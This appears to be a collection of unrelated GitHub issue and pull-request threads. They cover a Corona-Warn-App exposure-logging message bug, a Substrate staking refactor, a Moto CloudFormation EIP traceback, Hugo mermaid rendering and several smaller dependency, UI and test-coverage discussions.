[x] Bug is not already reported in another issue

Describe the bug
When opening the app, this error message is shown:

Exposure logging is not possible. Your exposure logging could not be updated for more than 24 hours.

Right below there is a Activate Exposure Logging button.
However Exposure Logging is indeed active, as confirmed on the upper part of the same view (see attached screenshot).
Moreover, the issue wasn't immediately there: the day after I downloaded the app, the box was green and showing a "Low Risk" information panel. The issue appeared on 3rd day since the installation.
Expected behaviour
This info panel should display the risk information instead of an error, given that the above mentioned setting is already on.
Steps to reproduce the issue
Error is visible immediately on the main view on the app. Restarting (the app or even the device) didn't solve the issue.

Technical details

iOS Version: 13.5.1
Device: iPhone Xs

Additional context
When going to Settings -> Corona-Warn there's a setting called COVID-19 Exposure Notifications which is active.

Internal Tracking ID: EXPOSUREAPP-1955

Same Problem
iPhone Xs / iOS 13.5.1

Same problem here:
App version: 1.0.2
iOS version: 13.5.1
on iPhoneX
Also, the timing was the same. Low risk 1 day after installation, “Risiko-Ermittlung nicht möglich” the following day and persisting ever since.

UPDATE: this morning I expanded the info panel (by clicking on the arrow next to Exposure logging is not possible) and then I clicked on the Update button. This seems to have solved the issue for me: I now have again a green box with "Low Risk". However it's still not clear why this is needed and I think the original error message is kind of misleading, because it's suggesting to activate a setting which is already active.

The “Update” button also worked for me. Based on the error message, it was not obvious to me that a simple press on an update button would fix this problem. And I missed this button previously as you have to scroll down to see it.

I am currently working on this issue. I would like to be 100% transparent with you which includes letting you know my current working theories + background information that might be interesting for you.
The App has two Modes
The app has two different modes of operation:

automatic: In this mode the app tries to automatically detect your risk (approx. every 24 hours). This mode is enabled if the app is allowed to schedule background tasks. An app running in this mode won't show a button that allows you to manually trigger a risk calculation. The app checks the date of the last risk calculation and if enough time (24+ hours) has passed it will automatically perform a risk calculation. The time passes is checked every time you launch the app or the app moves into forground.

manual: In this mode the app simply enables a button that allows you to trigger a risk calculation manually. The button is enabled after enough time has passed since the last calculation has been performed.

Timings
The app tries to do a risk calculation approx. every 24 hours (automatic mode). In manual mode the button to do a risk calculation is enabled after 24 hours.
A risk calculation has a "lifetime" of 2 days. This means the app discards every risk calculation that is older than 2 days.
Theory
I think in your case the app was not able to do a risk calculation for 2+ days. A risk can only be calculated if exposure notification is enabled (in Settings) and if the app has successfully downloaded everything it needs.
In addition the error message is probably a bit "misleading" or could at least be optmimized a bit.
I will talk to UX about that.
The good news is that I was able to reproduce your issue under "lab" conditions.
I think that the app was not able to do a risk calculation for two days - for whatever reason.
Next Steps & Workarounds
Could you do me a favor and:

Ensure that your device has a working internet connection. (You basically did that by tapping on the refresh button) - but in case you run into this issue again.
Ensure that you have enough free disk space. (system preferences usage report)
Report back here in case this happens again.

One additional node: We have noticed that sometimes the app shows "you are online" even when you are not (and vice versa). So in case you experience the issue again please really tripple check your internet connection - for example by downloading the app config. This is how the app determines whether or not it is online or offline.
I will talk to UX about the error message.
In the meantime you can use the workaround you found yourself (tap on the card and then on the refresh button).
Can you think about any reason for the app not being able to do a risk calculation for 2 days?
I will report back here once I have found out more.

Same here, I think this is a multipart issue.
Part one is up to ux in my opinion.
First box says "Exposure logging active", in the second box you get the misleading error message "Exposure logging is not possible", which, if I understood your previous comment the right way, should be something like "couldn't do risk calculation for xx days". And then, in the second box as well, you get the more then misleading call to action button "Activate exposure logging" (remember, box one stated "Exposure logging active"), which should be something like "Update risk calculation".
Part two I think is confusion about the "background app refresh" / "background app activities" settings in iOS.
I have "background app refresh" deactivated on all my devices for a number of reasons like battery health, traffic control and so on. To make this worse I have been setting "background app activities" for all my children using "screentime" -> "family, kids name..." -> "content & privacy restrictions" to "don't allow".
So, do I need "background app refresh" activated for the app to function in general like exchanging id's (I don't think so) or just for "automatic risk calculation"? And is there no way to check "background app refresh" iOS settings status during install / runtime and notify the user of the necessity to activate this setting (if really needed an not just nice to have for risk calculation)?

If I expand the panel by clicking on the error message and then hit the update button homescreen of the app looks like this:

In case this can be useful, same as @ringobowie reported, I also have Background App Refresh off in my general settings, so might be related.
@ChristianKienle thanks for the update. Regarding your question: the phone was normally able to access Internet during those 2 days and iPhone storage has more than 20GB available. In case the issues pops up again I will provide you with more details.

I use the manual mode configuration (backround tasks disabled). Yesterday the button worked also for me. I will continue to monitor the behavior of the application.

It's a translation / labeling issue. There seem to be (at least) two states leading to "Home Inactive card".
State one I can triggered by turning off "COVID-19 Exposure Logging" in "Privacy" -> "Bluetooth". The second state seems to be triggered if there is no background calculation possible by turning of "Background app refresh".
Strangely state one leads me to:
"Home_Risk_Inactive_NoCalculation_Possible_Title" = "Exposure logging stopped";
"Home_Risk_Inactive_NoCalculation_Possible_Button" = "Activate Exposure Logging";
and state two to:
"Home_Risk_Inactive_Outdated_Results_Title" = "Exposure logging is not possible";
"Home_Risk_Inactive_Outdated_Results_Button" = "Activate Exposure Logging";
So for state one the labeling is correct but the variable naming is misleading (maybe something like "Home_Risk_Inactive_ExposureLoggingDeactivated_Title").
For state two the variable naming seems to be correct but the labels are more than confusing.
Screenshot shows "Home inactive card" after disabling "COVID-19 Exposure Logging" in "Privacy" -> "Bluetooth":

Thanks for the update. Concerning your question:

Can you think about any reason for the app not being able to do a risk calculation for 2 days?
Not really. The error occurred on my son's phone, so I don't know everything he does, but as far as I know he is online almost all the time, either via mobile network or via WiFi. -- He does however have to go into flight mode (while explicitly activating Blutooth for the App...) in school. -- Maybe the App doesn't register when the internet connection becomes available again?

Today, suddenly "Exposure Logging Stopped" was shown.
No changes were made to settings, so bluetooth and background app refresh are all set to on, the app has been granted all needed access since the first day I installed it.
iPhone X
iOS 13.6 (beta)
Corona Warn App 1.0.4

Addendum:
I activated exposure logging. However, a bit later, it gain switched to „exposure logging stopped“.
Didn‘t experience this behavior before update to iOS 13.6

Just for keeping track: this issue seems to be the same as https://github.com/corona-warn-app/cwa-app-ios/issues/872.

Is there any update on this issue? I quite frequently see ppl on twitter with this problem. I usually link them to this instruction for activating "Background App refresh": https://github.com/corona-warn-app/cwa-app-android/issues/637#issuecomment-655543400 which in almost all cases seemed to fix the issue for them.
Isn't there a way the app itself could instruct them to do this in case of this error?
Also: Imo it would be helpful to at least have a FAQ entry for this in the meantime.
Here are some of the users on Twitter who experienced this problem:
https://twitter.com/_NonBlonde_/status/1290406524326686722
https://twitter.com/tilsteff/status/1290380213499703297
https://twitter.com/Zimtsternfunkel/status/1290573254269243393
https://twitter.com/merissarsilk/status/1290710434522243072
https://twitter.com/Detailhochzwei/status/1290950100961951744
https://twitter.com/camilloschumann/status/1290915794227003392
https://twitter.com/CantorBrahe/status/1291345991631806464
https://twitter.com/GerdKebschull/status/1291947137346031621

Just to state that the problem still occurs with version 1.2.0 and 1.2.1.
The app displays the contradictory statements:

Exposure Logging Active, and
Exposure logging is not possible ... Activate Exposure Logging

The English Corona Warnapp hotline suggested switching off bluetooth for 25 hours.
The German Corona Warnapp hotline did indeed know the solution (switch on background refresh), but nevertheless I do think that since the UI is currently so contradictory and easy to fix it should be improved.

Fyi, once I've changed the language settings from English to German, the "logging: restricted" disappears. Might not be updated in the English version then yet?

In the latest version 1.3.0 (6) the English text has become more confusing than before.
The text „Activate exposure logging to evaluate your risk status today“ is an even bigger contradiction to the „Exposure Logging Active“ statement.

@alanrick
See my comment here: https://github.com/corona-warn-app/cwa-backlog/issues/1#issuecomment-687175144
Nobody answered...

@alanrick Please restart the app with a working internet connection in 1.3.1 there is a error for this case

@thomasaugsten
Is there a plan to update this Screen? Because always the user is offline he/she sees this...

This screen should only occurs when you start the app without internet

Yes it does. But don't you see the contradiction in this screen?
Imho this has to be fixed somehow

If there’s an explanation for this behaviour then surely the contradictory text can be avoided.
E.g. Activate exposure logging or activate your internet connection to evaluate your risk status today
(BTW I can see from the screenshot that the Internet was connected but my point is about the text, not the behaviour)

The cause for this problem should be fixed in release 1.6. Please check if the error still occurs for you @alanrick

Corona-Warn-App Open Source Team

Indeed. I’m temporarily using the Irish app (cos of #916) and so the exposure logging for CWA 1.6.1  is off and the text of the remedy is  consistent 👍

@alanrick, thanks for the feedback.
@antoniocosentino, we suggest closing this issue. DS
Best wishes,
DS

Corona-Warn-App Open Source Team

Closing the issue, since I can't reproduce it anymore. Thanks to everybody involved!

@antoniocosentino, many thanks for the feedback and your contributions here. Best, DS.

Corona-Warn-App Open Source Team


Refactor Payee and RewardDestination for split and controller removal

This is an issue to track refactoring efforts of RewardDestination. The goals are two-fold:

To remove the Controller variant from RewardDestination enum.
To introduce a Split variant to compound a percentage of rewards, and send the remaining as free balance to a specified account.

The proposed solution that this issue will pursue is that of a lazy migration. There are around 69k Payee records in storage now, so a single block migration is not a viable proposition.
A proposed new enum,PayeeDestination, removes Controller, adds Split, and renames the variants to account for the fact that the stash & controller terminology is being deprecated in staking. This new enum will be used in a new Payees storage item.
#[derive(PartialEq, Eq, Copy, Clone, Encode, Decode, RuntimeDebug, TypeInfo, MaxEncodedLen)]
pub enum PayeeDestination<AccountId> {
  /// Pay into the staking account and compound to bond.
  Compound,
  /// Pay a part back into the stash and compound to bond, and send another part to a specified account as free balance.
  Split((Perbill, AccountId)),
  /// Pay into a specified account as free balance.
  Free(AccountId),
  /// Receive no reward.
  None,
}

Once all Payee records have been migrated to a new Payees storage item, we can confidently remove the former and replace RewardDestination with PayeeDestination throughout the codebase.
Migrating RewardDestination to PayeeDestination:

Stash -> Free(AccountId)
Controller -> Free(AccountId)
Account(AccountId) -> Free(AccountId)
Staked -> Compound
None -> None.

PR 1: Introduce new items, prepare lazy migration
https://github.com/paritytech/substrate/pull/14451
PR 2: Migrate storage and remove RewardDestination / Payee.

Update set_payee to use PayeeDestination as input and add Split((Perbill, AccountId)) logic.
Support Split on payout.
Remove RewardDestination enum and Payee storage items.
Refer to #14409 to update remaining RewardDestination usage in libs / mock / tests, to PayeeDestination.

This issue has been mentioned on Polkadot Forum. There might be relevant details there:
https://forum.polkadot.network/t/revision-of-rewarddestination-to-account-for-split-and-controller-removal/3360/1


Check the URL format when creating a new callback URL record

Currently, any format is accepted as URL when creating callback - we should at least check that the URL is valid.
Note: Since this is a part of the administrative interface, this is not such a big deal.

Moving the issue to correct repository.


Narrow buttons

Alaska Airlines Pull Request
This pull request will address issues raised in issue #19, as well as introduce a new prop type condensed to allow for reduced padding when the button is presented in narrow columns.
Fixes: #19
Summary:
In the previous state, there was no response for when the button was in a narrow space and there was more text in the button than the UI would allow for. In conjunction with this work, it seemed applicable to update the button API to allow for manual use of this narrow presentation.
Type of change:
Please delete options that are not relevant.

[x] New capability
[x] Revision of an existing capability
[ ] Infrastructure change (automation, etc.)
[ ] Other (please elaborate)

Checklist:

[x] My update follows the CONTRIBUTING guidelines of this project
[x] I have performed a self-review of my own update

By submitting this Pull Request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
Pull Requests will be evaluated by their quality of update and whether it is consistent with the goals and values of this project. Any submission is to be considered a conversation between the submitter and the maintainers of this project and may require changes to your submission.
Thank you for your submission!
-- Orion Design System Team

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


refactor(cabin): remove redirection methods to BookingCollection

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
109 unchanged lines in 2 files lost coverage.
Overall coverage increased (+1.0%) to 40.818%

Files with Coverage Reduction
New Missed Lines
%

lib/src/model/cabin/cabin.dart
9
67.44%

lib/src/model/cabin_collection.dart
100
0%

Totals

Change from base Build<PHONE_NUMBER>:
1.0%

Covered Lines:
449

Relevant Lines:
1100

💛  - Coveralls


Make countup integer field stores integer instead of formatted string as prev_data

This conf generates
# dummy.conf
configure 'sample' do
  output "dummy.log"
  field :time, type: :integer, countup: true, format: "2013-11-25 00:23:52.%09d"
end

this logs.
time:2013-11-25 00:23:52.000000000
time:2013-11-25 00:23:52.000000001
time:2013-11-25 00:23:52.000000002
time:2013-11-25 00:23:52.000000003
time:2013-11-25 00:23:52.000000004
time:2013-11-25 00:23:52.000000005
time:2013-11-25 00:23:52.000000006
time:2013-11-25 00:23:52.000000007
time:2013-11-25 00:23:52.000000008
time:2013-11-25 00:23:52.000000009

Nice feature, but I may rewrite codes because it is not easy get its intention from this patch.

Okey. Thanks.

I first tried to let Proc object returns [raw_value, formatted_value] always as https://github.com/sonots/dummer/commit/8de7b67d32864770c1d6311c2bc74a6b5fbcace7
But, this patch made random field generator be prettry slow.
So, I fixed my patch not to speed down as https://github.com/sonots/dummer/commit/fcab624a4c9df291cca2cbc40bbe24288e549eb1 similarly with your patch.

v0.4.0 is released. Thanks!

Thank you!!!


Can i use branch swift4 in swift package manager?

I just merged swift4 into master and tagged it with 4.0.0, so you don't have to :)

Ok, thx.


Render mermaid from code fences

This PR adds support for rendering mermaid in code fences.
Examples I was able to find for this feature, like https://anis.se/posts/add-mermaidjs-support-to-hugo/, had a few issues.

Imported mermaid more than once
Imported mermaid from different sources/versions
Did not support dark mode

Sorry for not creating an issue first, like it recommends in CONTRIBUTING.md. However, I figured that this probably wasn't something that would be desired for the mainline release, since it changes existing behavior. If I'm wrong, maybe it can be put behind a config flag.
I also inserted a personal fix for https://github.com/mermaid-js/mermaid/issues/2481, which may need to be omitted if this PR is to be considered for merge.
Maintainers: feel free to close this PR if you're not interested in the feature. I just hope that it helps some poor fool like past me who searches for "geekdoc mermaid code fence support!"
EDIT: My branch is currently based off of v0.33.2, because Mermaid v9.1.4 is broken in such a way that having multiple sequence diagrams in one page cumulatively joins them! So sequence 1, sequence 1+2, sequence 1+3.
EDIT 2: Mermaid v9.1.5 and v9.1.6 seem to fix the error, so I will rebase this to merge into main, which already has updated to v9.1.5.
EDIT 3: The mermaid 9.1.4 bug being referenced was https://github.com/mermaid-js/mermaid/issues/3305 and was fixed here: https://github.com/mermaid-js/mermaid/pull/3310

Thanks for your effort. I would prefer an implementation using rendering hooks as is approach can be used for other extensions e.g. KaTeX as well. This way, it should be also possible to re-use the same code from the existing shortcode.

Thanks for your effort. I would prefer an implementation using rendering hooks as this approach can be used for other extensions e.g. KaTeX as well. This way, it should be also possible to re-use the same code from the existing shortcode.

I didn't realize you could do that for codeblocks now in Hugo! I'll take a look.

And the solution is literally given in the docs... https://gohugo.io/content-management/diagrams/#mermaid-diagrams
But there is a small amount of work needed to integrate with the existing mermaid shortcode so that using a codeblock and a shortcode in the same page doesn't result in importing and initializing mermaid twice.

The shortcode has already a check using the exact same code in the render template should avoid double imoorts.

The shortcode has already a check using the exact same code in the render template should avoid double imoorts.

I just mean change .Page.Store.Get("hasMermaid") from the doc example to match .Page.Scratch.Get("mermaid") from the theme source (and matching Set commands). :)

I removed mermaid.init call which specified the two possible mermaid class names (mermaid and language-mermaid) and added rendering hook for a mermaid codeblock instead. I also rebased onto main.

Superseded by: https://github.com/thegeeklab/hugo-geekdoc/pull/485 https://github.com/thegeeklab/hugo-geekdoc/pull/486


Incorrect URL for pathogen clone in README

Hi,
I noticed your README Pathogen clone URL is using the  gtm repo rather than the gtm-vim-plugin.

Thanks for letting us know and updating the README.


AzCopy Does Not Support NTLM Proxies

If you are behind an NTLM proxy and you want to be able to use AzCopy then thumbs up this issue!

This feature would be great


fix(autocomplete): form control being marked as touched too early when clicking on an option

Currently we mark the autocomplete form control as touched on every blur event. This can be an issue for the case where a control is being validated on blur, because the input becomes blurred as soon as the user has their pointer down on something else (e.g. one of the options). This will cause validation to run before the value has been assigned. With these changes we switch to marking the control as touched once the panel has been closed.
Fixes #11903.

Failing ~60 TAP targets because tests were testing for errors on blur. Will probably have to individually change the tests to actually touch the form control.


[CELEBORN-1330] Bump rocksdbjni version from 8.5.3 to 8.11.3

What changes were proposed in this pull request?
Bump rocksdbjni version from 8.5.3 to 8.11.3.
Why are the changes needed?
The new version bring some bug fixes:

Fix a corner case with auto_readahead_size where Prev Operation returns NOT SUPPORTED error when scans direction is changed from forward to backward.
Avoid destroying the periodic task scheduler's default timer in order to prevent static destruction order issues.
Fix double counting of BYTES_WRITTEN ticker when doing writes with transactions.
Fix a WRITE_STALL counter that was reporting wrong value in few cases.
A lookup by MultiGet in a TieredCache that goes to the local flash cache and finishes with very low latency, i.e before the subsequent call to WaitAll, is ignored, resulting in a false negative and a memory leak.
Fix bug in auto_readahead_size that combined with IndexType::kBinarySearchWithFirstKey + fails or iterator lands at a wrong key
Fixed some cases in which DB file corruption was detected but ignored on creating a backup with BackupEngine.
Fix bugs where rocksdb.blobdb.blob.file.synced includes blob files failed to get synced and rocksdb.blobdb.blob.file.bytes.written includes blob bytes failed to get written.
Fixed a possible memory leak or crash on a failure (such as I/O error) in automatic atomic flush of multiple column families.
Fixed some cases of in-memory data corruption using mmap reads with BackupEngine, sst_dump, or ldb.
Fixed issues with experimental preclude_last_level_data_seconds option that could interfere with expected data tiering.
Fixed the handling of the edge case when all existing blob files become unreferenced. Such files are now correctly deleted.

The full release notes as follows: rocksdbjni releases.
Does this PR introduce any user-facing change?
No.
How was this patch tested?
CI.

cc @pan3793, @FMX.


Error with Nat Gateway AllocationId and Cloudformation

The problem
I've encountered an issue testing NAT Gateways via Cloudformation and Moto server, I am trying to test this CF template here, however it seems that Moto does not recognise the AllocationId property of the NAT Gateway:
---

Description: NAT Gateway setup
AWSTemplateFormatVersion: 2010-09-09

Resources:

  VPC:
    Type: AWS::EC2::VPC
    Properties:
      CidrBlock: <IP_ADDRESS>/16
      EnableDnsSupport: 'false'
      EnableDnsHostnames: 'false'
      InstanceTenancy:
        Ref: AWS::NoValue

  SubnetPublic:
    Type: AWS::EC2::Subnet
    Properties:
      VpcId:
        Ref: VPC
      AvailabilityZone:
        Fn::Select:
          - 0
          - Fn::GetAZs:
              Ref: AWS::Region
      CidrBlock: <IP_ADDRESS>/16
      MapPublicIpOnLaunch: true

  NatEip:
    Type: AWS::EC2::EIP

  Nat:
    Type: AWS::EC2::NatGateway
    Properties:
      AllocationId:
        Fn::GetAtt:
          - NatEip
          - AllocationId
      SubnetId:
        Ref: SubnetPublic

Expected result
A successfully created CF stack with a NAT Gateway.
Actual result
<IP_ADDRESS> - - [23/May/2019 08:18:03] "POST / HTTP/1.1" 500 -
Error on request:
Traceback (most recent call last):
  File ".venv/lib/python2.7/site-packages/werkzeug/serving.py", line 303, in run_wsgi
    execute(self.server.app)
  File ".venv/lib/python2.7/site-packages/werkzeug/serving.py", line 291, in execute
    application_iter = app(environ, start_response)
  File ".venv/lib/python2.7/site-packages/moto/server.py", line 104, in __call__
    return backend_app(environ, start_response)
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 2328, in __call__
    return self.wsgi_app(environ, start_response)
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 2314, in wsgi_app
    response = self.handle_exception(e)
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 1760, in handle_exception
    reraise(exc_type, exc_value, tb)
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 2311, in wsgi_app
    response = self.full_dispatch_request()
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 1834, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 1737, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 1832, in full_dispatch_request
    rv = self.dispatch_request()
  File ".venv/lib/python2.7/site-packages/flask/app.py", line 1818, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File ".venv/lib/python2.7/site-packages/moto/core/utils.py", line 140, in __call__
    result = self.callback(request, request.url, {})
  File ".venv/lib/python2.7/site-packages/moto/core/responses.py", line 117, in dispatch
    return cls()._dispatch(*args, **kwargs)
  File ".venv/lib/python2.7/site-packages/moto/core/responses.py", line 200, in _dispatch
    return self.call_action()
  File ".venv/lib/python2.7/site-packages/moto/core/responses.py", line 274, in call_action
    response = method()
  File ".venv/lib/python2.7/site-packages/moto/cloudformation/responses.py", line 68, in create_stack
    role_arn=role_arn,
  File ".venv/lib/python2.7/site-packages/moto/cloudformation/models.py", line 414, in create_stack
    create_change_set=create_change_set,
  File ".venv/lib/python2.7/site-packages/moto/cloudformation/models.py", line 187, in __init__
    self.resource_map = self._create_resource_map()
  File ".venv/lib/python2.7/site-packages/moto/cloudformation/models.py", line 195, in _create_resource_map
    resource_map.create()
  File ".venv/lib/python2.7/site-packages/moto/cloudformation/parsing.py", line 463, in create
    if isinstance(self[resource], ec2_models.TaggedEC2Resource):
  File ".venv/lib/python2.7/site-packages/moto/cloudformation/parsing.py", line 403, in __getitem__
    resource_logical_id, resource_json, self, self._region_name)
  File ".venv/lib/python2.7/site-packages/moto/cloudformation/parsing.py", line 299, in parse_and_create_resource
    resource_name, resource_json, region_name)
  File ".venv/lib/python2.7/site-packages/moto/ec2/models.py", line 3892, in create_from_cloudformation_json
    cloudformation_json['Properties']['AllocationId'],
KeyError: u'AllocationId'

To reproduce this issue

Install Moto server into a virtualenv - virtualenv .venv && .venv/bin/pip install "moto[server]"
Run Moto cloudformation server on the command line with the default port - .venv/bin/moto_server cloudformation
Create a stack using the template above - AWS_ACCESS_KEY_ID=foobar AWS_DEFAULT_REGION=foobar AWS_SECRET_ACCESS_KEY=foobar aws --endpoint-url http://localhost:5000 cloudformation create-stack --stack-name myteststack --template-body file://vpc.yml --region eu-west-1

Moto version
1.3.8.

Additionally it seems that there is an issue with getting AllocationId's from EIPs as well via Cloudformation and Moto Server:
---

Description: NAT EIP setup
AWSTemplateFormatVersion: 2010-09-09

Resources:

  NatEip:
    Type: AWS::EC2::EIP

Outputs:
  NatEipAllocationId:
    Description: Nat EIP Allocation Id
    Value:
      Fn::GetAtt:
        - NatEip
        - AllocationId

Applied using the steps above like so - AWS_ACCESS_KEY_ID=foobar AWS_DEFAULT_REGION=foobar AWS_SECRET_ACCESS_KEY=foobar aws --endpoint-url http://localhost:5000 cloudformation create-stack --stack-name myeipstack --template-body file://eip.yml --region eu-west-1
Error output:
<IP_ADDRESS> - - [23/May/2019 08:40:05] "POST / HTTP/1.1" 500 -
Error on request:
Traceback (most recent call last):
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/werkzeug/serving.py", line 303, in run_wsgi
    execute(self.server.app)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/werkzeug/serving.py", line 291, in execute
    application_iter = app(environ, start_response)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/server.py", line 104, in __call__
    return backend_app(environ, start_response)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 2328, in __call__
    return self.wsgi_app(environ, start_response)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 2314, in wsgi_app
    response = self.handle_exception(e)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 1760, in handle_exception
    reraise(exc_type, exc_value, tb)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 2311, in wsgi_app
    response = self.full_dispatch_request()
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 1834, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 1737, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 1832, in full_dispatch_request
    rv = self.dispatch_request()
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/flask/app.py", line 1818, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/core/utils.py", line 140, in __call__
    result = self.callback(request, request.url, {})
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/core/responses.py", line 117, in dispatch
    return cls()._dispatch(*args, **kwargs)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/core/responses.py", line 200, in _dispatch
    return self.call_action()
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/core/responses.py", line 274, in call_action
    response = method()
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/cloudformation/responses.py", line 68, in create_stack
    role_arn=role_arn,
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/cloudformation/models.py", line 414, in create_stack
    create_change_set=create_change_set,
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/cloudformation/models.py", line 188, in __init__
    self.output_map = self._create_output_map()
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/cloudformation/models.py", line 200, in _create_output_map
    output_map.create()
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/cloudformation/parsing.py", line 613, in create
    self[output]
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/cloudformation/parsing.py", line 586, in __getitem__
    output_logical_id, output_json, self._resource_map)
  File "/Users/david.reedfrancis/workspace/sansible/moto_server_venv/lib/python2.7/site-packages/moto/cloudformation/parsing.py", line 361, in parse_output
    output.value = clean_json(output_json['Value'], resources_map)
KeyError: u'Value'

Ah so actually it seems that allocation ID is required, and the actual error here is that Fn::GetAtt: - NatEip - AllocationId seems to return None.

It looks like we haven't implemented get_cfn_attribute for the NatGateway model yet. I'm going to set this as a feature request. Thanks!

@spulec thanks for the response, this will allow me to have some tests for a chunk code that is currently untested.

@spulec just digging a bit further, the actual error is with the EIP resource, it's the output bit where I try to grab the AllocationID that fails in this template:
---

Description: NAT EIP setup
AWSTemplateFormatVersion: 2010-09-09

Resources:

  NatEip:
    Type: AWS::EC2::EIP

Outputs:
  NatEipAllocationId:
    Description: Nat EIP Allocation Id
    Value:
      Fn::GetAtt:
        - NatEip
        - AllocationId

It looks like get_cfn_attribute has been defined for the ElasticAddress model so I am not sure why it's not working - https://github.com/spulec/moto/blob/2a5f7e15a7bc748c1148dae922cb1a9f8672dcbe/moto/ec2/models.py#L3247

@spulec OK turns out this actually isn't a bug with Moto at all, turns out that I need to specify a domain of VPC for the EIP, then I get an allocation ID:
---

Description: NAT EIP setup
AWSTemplateFormatVersion: 2010-09-09

Resources:

  NatEip:
    Type: AWS::EC2::EIP
    Properties:
      Domain: "vpc"

Outputs:
  NatEipAllocationId:
    Description: Nat EIP Allocation Id
    Value:
      Fn::GetAtt:
        - NatEip
        - AllocationId

The Cloudformation docs state this as being the case so Moto is correct here.

Ah, great to hear. Thanks for following up!


Visualization cache invalidation called multiple times in simple scenarios

How to reproduce:

Add this patch:

diff --git a/app/models/visualization/member.rb b/app/models/visualization/member.rb
index e5342fe..7a423f5 100644
--- a/app/models/visualization/member.rb
+++ b/app/models/visualization/member.rb
@@ -423,6 +423,7 @@ module CartoDB
       end

       def invalidate_cache
+        puts "HI THERE, invalidation being called on #{id}"
         invalidate_varnish_cache
         invalidate_redis_cache
         parent.invalidate_cache unless parent_id.nil?

Execute this test:

bundle exec rspec -e "should remove varnish cache when updating the table privacy" spec/models/table_spec.rb

Sample output:
[rspec][table_spec] Creating test user database...
Setting user quota in db 'cartodb_test_user_5e9f659e-960e-4707-8e4a-b7722ffb29c5_db' (tyndwl)
Setting user quota in db 'cartodb_test_user_5e9f659e-960e-4707-8e4a-b7722ffb29c5_db' (tyndwl)
Setting user quota in db 'cartodb_test_user_5e9f659e-960e-4707-8e4a-b7722ffb29c5_db' (tyndwl)
Setting user quota in db 'cartodb_test_user_5e9f659e-960e-4707-8e4a-b7722ffb29c5_db' (tyndwl)
[rspec][table_spec] Running...
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
  should remove varnish cache when updating the table privacy
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001
HI THERE, invalidation being called on ad441d42-02f2-11e5-bf94-0242ac110001

That needs a review, either in the member legacy classes or the refactored ones.

See TablePrivacyManager::propagate_to

There has been no activity on this issue for more several months. We are closing it. If you think this still needs to be addressed please open a new issue.


Using external scripts?

I'm looking to integrate a custom Stripe payment page into a Nuxt project. In their docs it says to include their library via a script tag in your page head/footer:
<script type="text/javascript" src="https://js.stripe.com/v2/"></script>
